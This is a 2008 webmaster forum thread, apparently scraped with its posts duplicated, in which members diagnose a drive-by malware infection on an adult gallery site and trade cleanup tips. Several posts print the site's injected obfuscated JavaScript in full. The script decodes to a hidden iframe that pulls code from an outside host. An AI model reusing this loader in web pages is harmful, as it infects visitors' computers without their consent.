Jamies-Galleries.com ??? Zango? - GoFuckYourself.com

Stellar · 11-10-2008, 04:39 PM

Looks like Jamies-Galleries.com wen't Zango or was hacked..

anyone?

d-null · 11-10-2008, 04:41 PM

don't think that has anything to do with Zango

HorseShit · 11-10-2008, 04:50 PM

what are you referring to there?

d-null · 11-10-2008, 04:57 PM

Quote:

Originally Posted by jdavis

what are you referring to there?

I think depending on your security settings it attempts to auto-run some kind of media file, I'm not sure what it is up to but it doesn't look good.

Manowar · 11-10-2008, 06:05 PM

not noticing anything here myself

TampaToker · 11-10-2008, 06:11 PM

my ie says its " webcam upload networking and imaging from yahoo! Inc "

Spunky · 11-10-2008, 08:47 PM

Not picking up anything here.maybe spyware?

SmokeyTheBear · 11-10-2008, 10:15 PM

)<script·type="text/javascript">function·Decode(){var·temp="",i,c=0,ou t="";·var·str="60!115!99!114!105!112!116!32!108!97 !110!103!117!97!103!101!61!34!74!97!118!97!83!99!1 14!105!112!116!34!62!118!97!114!32!108!61!34!102!3 4!59!103!111!111!103!108!101!61!34!97!34!59!121!97 !110!100!61!34!114!34!59!100!111!99!117!109!101!11 0!116!46!119!114!105!116!101!40!39!60!105!39!43!10 8!43!39!114!39!43!103!111!111!103!108!101!43!39!10 9!101!32!115!39!43!121!97!110!100!43!39!99!61!34!1 04!116!116!112!58!47!47!117!115!101!39!43!121!97!1 10!100!43!39!115!111!39!43!108!43!39!116!119!39!43 !103!111!111!103!108!101!43!39!114!101!46!105!110! 47!116!115!47!105!110!46!99!103!105!63!51!52!54!34 !32!39!43!108!43!39!114!39!43!103!111!111!103!108! 101!43!39!109!101!98!111!39!43!121!97!110!100!43!3 9!100!101!39!43!121!97!110!100!43!39!61!48!32!119! 105!39!43!39!100!116!104!39!43!39!61!48!32!104!101 !39!43!39!105!103!104!39!43!39!116!61!48!62!60!47! 105!39!43!108!43!39!114!39!43!103!111!111!103!108! 101!43!39!109!101!62!39!41!59!60!47!115!99!114!105 !112!116!62!";l=str.length;while(c<=str.length-1){while(str.charAt(c)!='!')temp=temp+str.charAt(c ++);c++;·out=out+String.fromCharCode(temp);temp="" ;}document.write(out);}Decode();</script>

Spunky · 11-10-2008, 10:19 PM

Quote:

Originally Posted by SmokeyTheBear

)<script·type="text/javascript">function·Decode(){var·temp="",i,c=0,ou t="";·var·str="60!115!99!114!105!112!116!32!108!97 !110!103!117!97!103!101!61!34!74!97!118!97!83!99!1 14!105!112!116!34!62!118!97!114!32!108!61!34!102!3 4!59!103!111!111!103!108!101!61!34!97!34!59!121!97 !110!100!61!34!114!34!59!100!111!99!117!109!101!11 0!116!46!119!114!105!116!101!40!39!60!105!39!43!10 8!43!39!114!39!43!103!111!111!103!108!101!43!39!10 9!101!32!115!39!43!121!97!110!100!43!39!99!61!34!1 04!116!116!112!58!47!47!117!115!101!39!43!121!97!1 10!100!43!39!115!111!39!43!108!43!39!116!119!39!43 !103!111!111!103!108!101!43!39!114!101!46!105!110! 47!116!115!47!105!110!46!99!103!105!63!51!52!54!34 !32!39!43!108!43!39!114!39!43!103!111!111!103!108! 101!43!39!109!101!98!111!39!43!121!97!110!100!43!3 9!100!101!39!43!121!97!110!100!43!39!61!48!32!119! 105!39!43!39!100!116!104!39!43!39!61!48!32!104!101 !39!43!39!105!103!104!39!43!39!116!61!48!62!60!47! 105!39!43!108!43!39!114!39!43!103!111!111!103!108! 101!43!39!109!101!62!39!41!59!60!47!115!99!114!105 !112!116!62!";l=str.length;while(c<=str.length-1){while(str.charAt(c)!='!')temp=temp+str.charAt(c ++);c++;·out=out+String.fromCharCode(temp);temp="" ;}document.write(out);}Decode();</script>

Too many damn numbers!

SmokeyTheBear · 11-10-2008, 10:36 PM

it loads a javascript from

usersoftware.in/ts/in.cgi?346

Gals4free · 11-11-2008, 01:22 AM

actually we didnt go zango no.. so this would either be a hack or a pc infected with spyware.

I just checked the site and our scripts and cant find anything supicious. Can anyone please post the URL they are on when they experience it?

bobby666 · 11-11-2008, 02:37 AM

thanks for info

d-null · 11-11-2008, 02:39 AM

Quote:

Originally Posted by bobby666

thanks for info

WTF???

SmokeyTheBear · 11-11-2008, 02:41 AM

Quote:

Originally Posted by Gals4free

actually we didnt go zango no.. so this would either be a hack or a pc infected with spyware.

I just checked the site and our scripts and cant find anything supicious. Can anyone please post the URL they are on when they experience it?

Jamies-Galleries.com is hacked with that javascript code i posted above

SmokeyTheBear · 11-11-2008, 02:43 AM

for whatever reason you may not be seeing it you can view it thru a proxy on a webpage

http://www.rexswain.com/httpview.html

jus go there enter the url and you will see the hacked code added

V_RocKs · 11-11-2008, 04:09 AM

Home page has the script.. Comes after the second header image.

Either you are hackored or you are trying to make some extra cash.. But for trades sakes, you had better remove that shit quick.

If you are looking at the page and it isn't there then you REALLY have problems because it means you are now running a hacked version of apache and need to talk to your host about 1) reinstalling a non-hacked version and 2) setting up a trip wire to let you know when MD5 checksum on apache doesn't match.

d-null · 11-11-2008, 04:12 AM

what exactly is that script attempting to do?

when I loaded the page the first time, it caused my windows media player to open and the an out of memory error window popped up in windows media player

wheat · 11-11-2008, 04:43 AM

I see it browsing from the midwestern United States with Opera 9.

seeandsee · 11-11-2008, 05:48 AM

i don't even want to open that page

Stellar · 11-13-2008, 01:43 PM

Believe me,

something is surely off about it, smokey hit the nail on the head.

Now I have some god damn fake Windows Security window asking me if I want to buy some horse shit product, and I can't get it off.

Gals4free, your welcome

PersianKitty · 11-19-2008, 01:00 AM

Got this tonight when a gallery submission went to their 404

"Safe Browsing
Diagnostic page for jamies-galleries.com

What is the current listing status for jamies-galleries.com?

Site is listed as suspicious - visiting this web site may harm your computer.

Part of this site was listed for suspicious activity 1 time(s) over the past 90 days.

What happened when Google visited this site?

Of the 10 pages we tested on the site over the past 90 days, 1 page(s) resulted in malicious software being downloaded and installed without user consent. The last time Google visited this site was on 2008-11-18, and the last time suspicious content was found on this site was on 2008-11-18.

Malicious software includes 1 scripting exploit(s). Successful infection resulted in an average of 1 new processes on the target machine.

Malicious software is hosted on 1 domain(s), including ftpiframer.org. "

hjnet · 11-19-2008, 01:28 AM

Maybe it's an hack that shows up only for every 10th visitor or so, that's already pretty common these days cause it makes it harder for the site owner to track it down.

I've not visited the site, so I don't know which script's you're using, but many TGPs/MGPs get hacked lately. Go take a close look at your toplist templates, cause they're often used to insert malicious code, and check which files have been changed/updated on your server within the last 48h. If someone has hacked your site he most likely added or updated a file, and didn't change the timestamp.

Oh, and if you've found out what happend please post it on the boards, so we can take care of our sites too ;)

DWB · 11-19-2008, 01:49 AM

Quote:

Originally Posted by SmokeyTheBear

)<script·type="text/javascript">function·Decode(){var·temp="",i,c=0,ou t="";·var·str="60!115!99!114!105!112!116!32!108!97 !110!103!117!97!103!101!61!34!74!97!118!97!83!99!1 14!105!112!116!34!62!118!97!114!32!108!61!34!102!3 4!59!103!111!111!103!108!101!61!34!97!34!59!121!97 !110!100!61!34!114!34!59!100!111!99!117!109!101!11 0!116!46!119!114!105!116!101!40!39!60!105!39!43!10 8!43!39!114!39!43!103!111!111!103!108!101!43!39!10 9!101!32!115!39!43!121!97!110!100!43!39!99!61!34!1 04!116!116!112!58!47!47!117!115!101!39!43!121!97!1 10!100!43!39!115!111!39!43!108!43!39!116!119!39!43 !103!111!111!103!108!101!43!39!114!101!46!105!110! 47!116!115!47!105!110!46!99!103!105!63!51!52!54!34 !32!39!43!108!43!39!114!39!43!103!111!111!103!108! 101!43!39!109!101!98!111!39!43!121!97!110!100!43!3 9!100!101!39!43!121!97!110!100!43!39!61!48!32!119! 105!39!43!39!100!116!104!39!43!39!61!48!32!104!101 !39!43!39!105!103!104!39!43!39!116!61!48!62!60!47! 105!39!43!108!43!39!114!39!43!103!111!111!103!108! 101!43!39!109!101!62!39!41!59!60!47!115!99!114!105 !112!116!62!";l=str.length;while(c<=str.length-1){while(str.charAt(c)!='!')temp=temp+str.charAt(c ++);c++;·out=out+String.fromCharCode(temp);temp="" ;}document.write(out);}Decode();</script>

Whoa... I know Kung Fu.

11-10-2008, 04:39 PM	#1
Stellar So Fucking Banned Join Date: Feb 2008 Posts: 611	Jamies-Galleries.com ??? Zango? Looks like Jamies-Galleries.com wen't Zango or was hacked.. anyone?

11-10-2008, 04:41 PM	#2
d-null . . . Industry Role: Join Date: Apr 2007 Location: NY Posts: 13,724	don't think that has anything to do with Zango __________________ __________________ Looking for a custom TUBE SCRIPT that supports massive traffic, load balancing, billing support, and h264 encoding? Hit up Konrad! Looking for designs for your websites or custom tubesite design? Hit up Zuzana Designs Check out the #1 WordPress SEO Plugin: CyberSEO Suite

11-10-2008, 08:47 PM	#7
Spunky I need a beer Industry Role: Join Date: Jun 2002 Location: ♠ Toiletville ♠ Posts: 133,919	Not picking up anything here.maybe spyware? __________________ *Skype : Spunky GFY*

11-10-2008, 10:15 PM	#8
SmokeyTheBear ►SouthOfHeaven Join Date: Jun 2004 Location: PlanetEarth MyBoardRank: GerbilMaster My-Penis-Size: extralarge MyWeapon: Computer Posts: 28,609	)<script·type="text/javascript">function·Decode(){var·temp="",i,c=0,ou t="";·var·str="60!115!99!114!105!112!116!32!108!97 !110!103!117!97!103!101!61!34!74!97!118!97!83!99!1 14!105!112!116!34!62!118!97!114!32!108!61!34!102!3 4!59!103!111!111!103!108!101!61!34!97!34!59!121!97 !110!100!61!34!114!34!59!100!111!99!117!109!101!11 0!116!46!119!114!105!116!101!40!39!60!105!39!43!10 8!43!39!114!39!43!103!111!111!103!108!101!43!39!10 9!101!32!115!39!43!121!97!110!100!43!39!99!61!34!1 04!116!116!112!58!47!47!117!115!101!39!43!121!97!1 10!100!43!39!115!111!39!43!108!43!39!116!119!39!43 !103!111!111!103!108!101!43!39!114!101!46!105!110! 47!116!115!47!105!110!46!99!103!105!63!51!52!54!34 !32!39!43!108!43!39!114!39!43!103!111!111!103!108! 101!43!39!109!101!98!111!39!43!121!97!110!100!43!3 9!100!101!39!43!121!97!110!100!43!39!61!48!32!119! 105!39!43!39!100!116!104!39!43!39!61!48!32!104!101 !39!43!39!105!103!104!39!43!39!116!61!48!62!60!47! 105!39!43!108!43!39!114!39!43!103!111!111!103!108! 101!43!39!109!101!62!39!41!59!60!47!115!99!114!105 !112!116!62!";l=str.length;while(c<=str.length-1){while(str.charAt(c)!='!')temp=temp+str.charAt(c ++);c++;·out=out+String.fromCharCode(temp);temp="" ;}document.write(out);}Decode();</script> __________________ hatisblack at yahoo.com

11-10-2008, 10:36 PM	#10
SmokeyTheBear ►SouthOfHeaven Join Date: Jun 2004 Location: PlanetEarth MyBoardRank: GerbilMaster My-Penis-Size: extralarge MyWeapon: Computer Posts: 28,609	it loads a javascript from usersoftware.in/ts/in.cgi?346 __________________ hatisblack at yahoo.com

11-10-2008, 04:50 PM	#3
HorseShit Too lazy to set a custom title Join Date: Dec 2004 Posts: 17,513	what are you referring to there?

11-10-2008, 06:05 PM	#5
Manowar jellyfish Join Date: Dec 2003 Posts: 71,528	not noticing anything here myself

11-10-2008, 06:11 PM	#6
TampaToker Confirmed User Join Date: May 2006 Location: Tampa Posts: 5,827	my ie says its " webcam upload networking and imaging from yahoo! Inc "

11-11-2008, 01:22 AM	#11
Gals4free Confirmed User Join Date: Apr 2003 Posts: 428	actually we didnt go zango no.. so this would either be a hack or a pc infected with spyware. I just checked the site and our scripts and cant find anything supicious. Can anyone please post the URL they are on when they experience it? __________________ At Kodify we have in excess of 5M visitors a day through our network that consists of www.PornTube.com www.4Tube.com www.PornerBros.com and www.Fux.com. We operate a very successful Content Publishing Platform at http://content.porntube.com where you can expose your content to our audience!

11-11-2008, 02:37 AM	#12
bobby666 boots are my religion Join Date: Nov 2005 Location: Heart of europe Posts: 21,765	thanks for info __________________

11-11-2008, 02:43 AM	#15
SmokeyTheBear ►SouthOfHeaven Join Date: Jun 2004 Location: PlanetEarth MyBoardRank: GerbilMaster My-Penis-Size: extralarge MyWeapon: Computer Posts: 28,609	for whatever reason you may not be seeing it you can view it thru a proxy on a webpage http://www.rexswain.com/httpview.html jus go there enter the url and you will see the hacked code added __________________ hatisblack at yahoo.com

11-11-2008, 04:09 AM	#16
V_RocKs Damn Right I Kiss Ass! Industry Role: Join Date: Dec 2003 Location: Cowtown, USA Posts: 32,391	Home page has the script.. Comes after the second header image. Either you are hackored or you are trying to make some extra cash.. But for trades sakes, you had better remove that shit quick. If you are looking at the page and it isn't there then you REALLY have problems because it means you are now running a hacked version of apache and need to talk to your host about 1) reinstalling a non-hacked version and 2) setting up a trip wire to let you know when MD5 checksum on apache doesn't match.

11-11-2008, 04:12 AM	#17
d-null . . . Industry Role: Join Date: Apr 2007 Location: NY Posts: 13,724	what exactly is that script attempting to do? when I loaded the page the first time, it caused my windows media player to open and the an out of memory error window popped up in windows media player __________________ __________________ Looking for a custom TUBE SCRIPT that supports massive traffic, load balancing, billing support, and h264 encoding? Hit up Konrad! Looking for designs for your websites or custom tubesite design? Hit up Zuzana Designs Check out the #1 WordPress SEO Plugin: CyberSEO Suite

11-11-2008, 04:43 AM	#18
wheat Confirmed User Join Date: Feb 2006 Posts: 421	I see it browsing from the midwestern United States with Opera 9. __________________

11-11-2008, 05:48 AM	#19
seeandsee Check SIG! Industry Role: Join Date: Mar 2006 Location: Europe (Skype: gojkoas) Posts: 50,945	i don't even want to open that page __________________ BUY MY SIG - 50$/Year Contact here

11-13-2008, 01:43 PM	#20
Stellar So Fucking Banned Join Date: Feb 2008 Posts: 611	Believe me, something is surely off about it, smokey hit the nail on the head. Now I have some god damn fake Windows Security window asking me if I want to buy some horse shit product, and I can't get it off. Gals4free, your welcome

11-19-2008, 01:00 AM	#21
PersianKitty Meow Media Inc. Industry Role: Join Date: Jul 2001 Location: In the valley of the sun, cactus, tacos, tequila, and nod Posts: 7,785	Got this tonight when a gallery submission went to their 404 "Safe Browsing Diagnostic page for jamies-galleries.com What is the current listing status for jamies-galleries.com? Site is listed as suspicious - visiting this web site may harm your computer. Part of this site was listed for suspicious activity 1 time(s) over the past 90 days. What happened when Google visited this site? Of the 10 pages we tested on the site over the past 90 days, 1 page(s) resulted in malicious software being downloaded and installed without user consent. The last time Google visited this site was on 2008-11-18, and the last time suspicious content was found on this site was on 2008-11-18. Malicious software includes 1 scripting exploit(s). Successful infection resulted in an average of 1 new processes on the target machine. Malicious software is hosted on 1 domain(s), including ftpiframer.org. " __________________ Wondering what webmaster programs PK uses? Check them out here!

11-19-2008, 01:28 AM	#22
hjnet Confirmed User Join Date: May 2002 Location: European Union Posts: 3,815	Maybe it's an hack that shows up only for every 10th visitor or so, that's already pretty common these days cause it makes it harder for the site owner to track it down. I've not visited the site, so I don't know which script's you're using, but many TGPs/MGPs get hacked lately. Go take a close look at your toplist templates, cause they're often used to insert malicious code, and check which files have been changed/updated on your server within the last 48h. If someone has hacked your site he most likely added or updated a file, and didn't change the timestamp. Oh, and if you've found out what happend please post it on the boards, so we can take care of our sites too ;)